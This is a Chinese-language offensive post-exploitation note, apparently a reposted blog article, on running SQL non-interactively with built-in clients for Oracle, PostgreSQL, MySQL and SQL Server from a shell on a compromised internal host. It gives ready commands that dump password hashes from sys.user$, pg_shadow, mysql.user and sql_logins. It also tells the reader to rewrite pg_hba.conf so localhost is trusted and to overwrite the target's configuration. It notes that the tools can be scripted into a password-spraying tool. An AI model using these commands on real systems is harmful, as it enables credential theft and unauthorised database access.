shell sqlplus执行sql文_各主流数据库非交互执行
實(shí)戰(zhàn)場(chǎng)景說(shuō)明:
????實(shí)戰(zhàn)中,可能經(jīng)常會(huì)遇到類(lèi)似這樣的問(wèn)題,比如,內(nèi)網(wǎng)機(jī)脫網(wǎng),無(wú)法進(jìn)行各種正反向代理轉(zhuǎn)發(fā)(或者速度極慢,根本連不上),導(dǎo)致Navicat,SSMS,PLSQL...等各種三方數(shù)據(jù)庫(kù)客戶(hù)端根本無(wú)使用條件,再比如,無(wú)rdp操作條件,只有一個(gè)cmdshell / bash, 但最終目的也只是想在庫(kù)中快速進(jìn)行一些賬號(hào)密碼搜集或者脫取庫(kù)表結(jié)構(gòu)類(lèi)的簡(jiǎn)單操作,等等諸如此類(lèi)吧...
????此時(shí),就需要了解關(guān)于各主流數(shù)據(jù)庫(kù)在cmd/bash下的一些非交付sql執(zhí)行方式,非常簡(jiǎn)單,沒(méi)任何技術(shù)含量,只為筆記留存,方便其它弟兄們,注,如下的所有工具均為各自數(shù)據(jù)庫(kù)內(nèi)置工具,不依賴(lài)任何第三方外部工具( 即使數(shù)據(jù)庫(kù)沒(méi)裝亦把對(duì)應(yīng)的命令行客戶(hù)端拆出來(lái)獨(dú)立使用 ),很靈活
0x01 Oracle
安裝用戶(hù)權(quán)限下,無(wú)密碼非交互執(zhí)行
tv.sql 語(yǔ)句select * from v$version;SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES';SELECT name,spare4 FROM sys.user$;exit;默認(rèn)在裝好oracle以后,sqlplus會(huì)被自動(dòng)寫(xiě)到當(dāng)前用戶(hù)的環(huán)境下,直接執(zhí)行即可# echo SELECT name,spare4 FROM sys.user$; | sqlplus "/ as sysdba"# sqlplus "/ as sysdba" @c:\tv.sql > c:\Users\public\simlog.logs0x02 Postgresql
????服務(wù)安裝用戶(hù)權(quán)限下,無(wú)密碼非交互執(zhí)行,修改目標(biāo)服務(wù)配置文件(pg_hba.conf),對(duì)127.0.0.1進(jìn)行trust,之后再想辦法覆蓋目標(biāo)原有配置文件[Win下比較特殊,無(wú)需重啟服務(wù),即時(shí)生效]
tv.sql語(yǔ)句select version();SELECT usename FROM pg_user WHERE usesuper IS TRUE;SELECT usename, passwd FROM pg_shadow;PgSQL在裝好之后,默認(rèn)并沒(méi)有把PSQL沒(méi)寫(xiě)到當(dāng)前用戶(hù)環(huán)境變量下,故需要自行指定絕對(duì)路徑執(zhí)行# echo SELECT usename, passwd FROM pg_shadow; | C:\SRV\PgSQL9.4.24\bin\psql -h 127.0.0.1 -p 5432 -U postgres# C:\SRV\PgSQL9.4.24\bin\psql -h 127.0.0.1 -p 5432 -U postgres < c:\tv.sql0x03 Mysql 帶賬密非交互執(zhí)行
tv.sql 語(yǔ)句select @@version;select user,host,password from mysql.user;一般情況下,在安裝Mysql時(shí)都會(huì)順手把環(huán)境變量選項(xiàng)勾上,故直接執(zhí)行即可,如遇未添加環(huán)境變量,找到目標(biāo)mysql安裝目錄下的bin目錄指定絕對(duì)路徑執(zhí)行即可# mysql -uroot -p"abc123" -D Mysql # mysql -uroot -p"abc123" -D Mysql -e "select user,host,password from mysql.user\G;select version()\G;";0x04 SqlServer 帶賬密非交互執(zhí)行
tv.sql 語(yǔ)句select @@version;SELECT name, password_hash FROM master.sys.sql_logins;Mssql安裝完后,默認(rèn)都會(huì)把sqlcmd添加到當(dāng)前用戶(hù)環(huán)境變量下,故直接執(zhí)行即可# sqlcmd -U sa -P pwd123 -S 192.168.159.131 -d master -i "C:\tv.sql"#?sqlcmd?-U?sa?-P?pwd123?-S?192.168.159.131?-d?master?-Q?"?SELECT?name,?password_hash?FROM?master.sys.sql_logins;"小結(jié):
????非常簡(jiǎn)單,不再贅述,其實(shí)有些工具稍微靈活配合bat/sh,轉(zhuǎn)身一變就是個(gè)服務(wù)噴射工具,非常適用于某些特殊場(chǎng)景下,還是那初衷,一篇文章只解決一個(gè)小問(wèn)題,不想摻雜太多廢話,祝好運(yùn)
????如果覺(jué)得確實(shí)還不錯(cuò),也歡迎積極轉(zhuǎn)發(fā)留言,以便讓更多真正需要的人都能看到,如遇到文中錯(cuò)誤,也歡迎隨時(shí)私信指正,非常感謝?
????另外,也非常期待能和更多真正志同道合弟兄一起深入交流學(xué)習(xí),( 還是那句話,維護(hù)不易,亂七八糟的人就不要來(lái)了,非常感謝 )
總結(jié)
以上是生活随笔為你收集整理的shell sqlplus执行sql文_各主流数据库非交互执行的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 如何运用python爬游戏皮肤_Pyth
- 下一篇: 端口镜像 流量过滤_技术盛宴 | 流量可